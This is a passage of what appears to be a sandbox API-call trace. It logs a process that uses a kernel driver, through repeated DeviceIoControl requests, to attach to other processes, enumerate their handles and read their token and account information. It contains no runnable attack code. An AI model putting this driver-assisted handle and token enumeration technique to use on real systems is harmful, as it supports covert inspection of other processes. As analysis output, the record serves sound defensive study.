[0093.817] PsReleaseProcessExitSynchronization () returned 0x2 [0093.817] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb8 [0093.817] ObQueryNameString (in: Object=0xfffffa800352d3b0, ObjectNameInfo=0xfffffa8003969044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003969044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.817] ObfDereferenceObject (Object=0xfffffa800352d3b0) returned 0x1 [0093.817] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.817] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.817] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.817] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.817] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.817] PsAcquireProcessExitSynchronization () returned 0x0 [0093.817] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0) [0093.817] ObReferenceObjectByHandle (in: Handle=0x524, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0019c4700, HandleInformation=0x0) returned 0x0 [0093.817] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.817] PsReleaseProcessExitSynchronization () returned 0x2 [0093.817] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb8 [0093.817] ObQueryNameString (in: Object=0xfffff8a0019c4700, ObjectNameInfo=0xfffffa8003929044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003929044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.817] ObfDereferenceObject (Object=0xfffff8a0019c4700) returned 0x1 [0093.817] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.817] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.817] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.817] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xc6, lpOverlapped=0x0) returned 1 [0093.817] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.817] PsAcquireProcessExitSynchronization () returned 0x0 [0093.817] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0) [0093.817] ObReferenceObjectByHandle (in: Handle=0x534, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80028d9070, HandleInformation=0x0) returned 0x0 [0093.817] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.817] PsReleaseProcessExitSynchronization () returned 0x2 [0093.817] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb8 [0093.817] ObQueryNameString (in: Object=0xfffffa80028d9070, ObjectNameInfo=0xfffffa8002126044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002126044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.817] ObfDereferenceObject (Object=0xfffffa80028d9070) returned 0x1 [0093.817] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.818] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.818] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.818] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.818] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.818] PsAcquireProcessExitSynchronization () returned 0x0 [0093.818] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0) [0093.818] ObReferenceObjectByHandle (in: Handle=0x53c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0016d24a0, HandleInformation=0x0) returned 0x0 [0093.818] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.818] PsReleaseProcessExitSynchronization () returned 0x2 [0093.818] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb8 [0093.818] ObQueryNameString (in: Object=0xfffff8a0016d24a0, ObjectNameInfo=0xfffffa800211a044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800211a044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.818] ObfDereferenceObject (Object=0xfffff8a0016d24a0) returned 0x1 [0093.818] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.818] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.818] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.818] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0093.818] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.818] PsAcquireProcessExitSynchronization () returned 0x0 [0093.818] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0) [0093.818] ObReferenceObjectByHandle (in: Handle=0x548, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80035908c0, HandleInformation=0x0) returned 0x0 [0093.818] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.818] PsReleaseProcessExitSynchronization () returned 0x2 [0093.818] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb8 [0093.818] ObQueryNameString (in: Object=0xfffffa80035908c0, ObjectNameInfo=0xfffffa8003ab3044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003ab3044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.818] ObfDereferenceObject (Object=0xfffffa80035908c0) returned 0x1 [0093.818] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.818] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.818] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.818] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0093.818] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.818] PsAcquireProcessExitSynchronization () returned 0x0 [0093.818] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0) [0093.818] ObReferenceObjectByHandle (in: Handle=0x55c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003409d00, HandleInformation=0x0) returned 0x0 [0093.818] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.819] PsReleaseProcessExitSynchronization () returned 0x2 [0093.819] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb8 [0093.819] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001f8a044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001f8a044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.819] ObfDereferenceObject (Object=0xfffffa8003409d00) returned 0x1 [0093.819] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.819] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.819] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.819] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x32, lpOverlapped=0x0) returned 1 [0093.820] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.820] PsAcquireProcessExitSynchronization () returned 0x0 [0093.820] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0) [0093.820] ObReferenceObjectByHandle (in: Handle=0x570, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003571970, HandleInformation=0x0) returned 0x0 [0093.820] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.820] PsReleaseProcessExitSynchronization () returned 0x2 [0093.820] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb8 [0093.820] ObQueryNameString (in: Object=0xfffffa8002860900, ObjectNameInfo=0xfffffa8001942044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001942044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.820] ObfDereferenceObject (Object=0xfffffa8003571970) returned 0x1 [0093.820] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.820] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.820] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.820] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x32, lpOverlapped=0x0) returned 1 [0093.820] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.820] PsAcquireProcessExitSynchronization () returned 0x0 [0093.820] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0) [0093.820] ObReferenceObjectByHandle (in: Handle=0x58c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003c36ce0, HandleInformation=0x0) returned 0x0 [0093.820] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.820] PsReleaseProcessExitSynchronization () returned 0x2 [0093.820] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb8 [0093.820] ObQueryNameString (in: Object=0xfffffa8002860900, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.820] ObfDereferenceObject (Object=0xfffffa8003c36ce0) returned 0x1 [0093.820] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.820] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.820] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.820] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0093.820] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.820] PsAcquireProcessExitSynchronization () returned 0x0 [0093.820] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0) [0093.820] ObReferenceObjectByHandle (in: Handle=0x5b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003c36970, HandleInformation=0x0) returned 0x0 [0093.820] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.820] PsReleaseProcessExitSynchronization () returned 0x2 [0093.820] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb8 [0093.820] ObQueryNameString (in: Object=0xfffffa8003c36970, ObjectNameInfo=0xfffffa8001a27044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001a27044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.820] ObfDereferenceObject (Object=0xfffffa8003c36970) returned 0x1 [0093.821] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.821] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.821] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.821] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0093.821] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.821] PsAcquireProcessExitSynchronization () returned 0x0 [0093.821] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0) [0093.821] ObReferenceObjectByHandle (in: Handle=0x5c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0093.821] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.821] PsReleaseProcessExitSynchronization () returned 0x2 [0093.821] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb8 [0093.821] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa8001ed1044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ed1044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.821] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0093.821] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.821] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.821] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x434) returned 0xc0 [0093.821] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0093.821] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8003223790, HandleInformation=0x0) returned 0x0 [0093.821] ObOpenObjectByPointer (in: Object=0xfffffa8003223790, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff8000076c) returned 0x0 [0093.821] ObfDereferenceObject (Object=0xfffffa8003223790) returned 0x2d [0093.821] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000076c, DesiredAccess=0x8, TokenHandle=0xfffffa8003526440 | out: TokenHandle=0xfffffa8003526440*=0xc8) returned 0x0 [0093.821] ZwClose (Handle=0xffffffff8000076c) returned 0x0 [0093.821] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.821] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0093.821] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0093.823] CloseHandle (hObject=0xc8) returned 1 [0093.823] CloseHandle (hObject=0xc0) returned 1 [0093.823] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.823] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0093.823] PsLookupProcessByProcessId (in: ProcessId=0x434, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.823] PsAcquireProcessExitSynchronization () returned 0x0 [0093.823] KeStackAttachProcess (in: PROCESS=0xfffffa8003223790, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003223790, ApcState=0xfffff880052335d0) [0093.823] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003224b20, HandleInformation=0x0) returned 0x0 [0093.823] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.823] PsReleaseProcessExitSynchronization () returned 0x2 [0093.823] ObfDereferenceObject (Object=0xfffffa8003223790) returned 0x2b [0093.823] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001edd044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001edd044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.823] ObfDereferenceObject (Object=0xfffffa8003224b20) returned 0x1 [0093.823] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.823] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.823] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.823] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.823] PsLookupProcessByProcessId (in: ProcessId=0x434, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.823] PsAcquireProcessExitSynchronization () returned 0x0 [0093.823] KeStackAttachProcess (in: PROCESS=0xfffffa8003223790, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003223790, ApcState=0xfffff880052335d0) [0093.823] ObReferenceObjectByHandle (in: Handle=0x9c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0093.823] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.823] PsReleaseProcessExitSynchronization () returned 0x2 [0093.823] ObfDereferenceObject (Object=0xfffffa8003223790) returned 0x2b [0093.823] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001ee1044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ee1044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.824] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x51 [0093.824] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.824] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.824] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x444) returned 0xc0 [0093.824] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0093.824] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8003232060, HandleInformation=0x0) returned 0x0 [0093.824] ObOpenObjectByPointer (in: Object=0xfffffa8003232060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff8000076c) returned 0x0 [0093.824] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x193 [0093.824] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000076c, DesiredAccess=0x8, TokenHandle=0xfffffa8003526440 | out: TokenHandle=0xfffffa8003526440*=0xc8) returned 0x0 [0093.824] ZwClose (Handle=0xffffffff8000076c) returned 0x0 [0093.824] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.824] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0093.824] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0093.825] CloseHandle (hObject=0xc8) returned 1 [0093.825] CloseHandle (hObject=0xc0) returned 1 [0093.825] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.825] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0093.825] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.825] PsAcquireProcessExitSynchronization () returned 0x0 [0093.825] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.826] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f6b680, HandleInformation=0x0) returned 0x0 [0093.826] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.826] PsReleaseProcessExitSynchronization () returned 0x2 [0093.826] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.826] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.826] ObfDereferenceObject (Object=0xfffffa8002f6b680) returned 0x1 [0093.826] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.826] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.826] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.826] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x102, lpOverlapped=0x0) returned 1 [0093.826] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.826] PsAcquireProcessExitSynchronization () returned 0x0 [0093.826] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.826] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003233380, HandleInformation=0x0) returned 0x0 [0093.826] KeUnstackDetachProcess 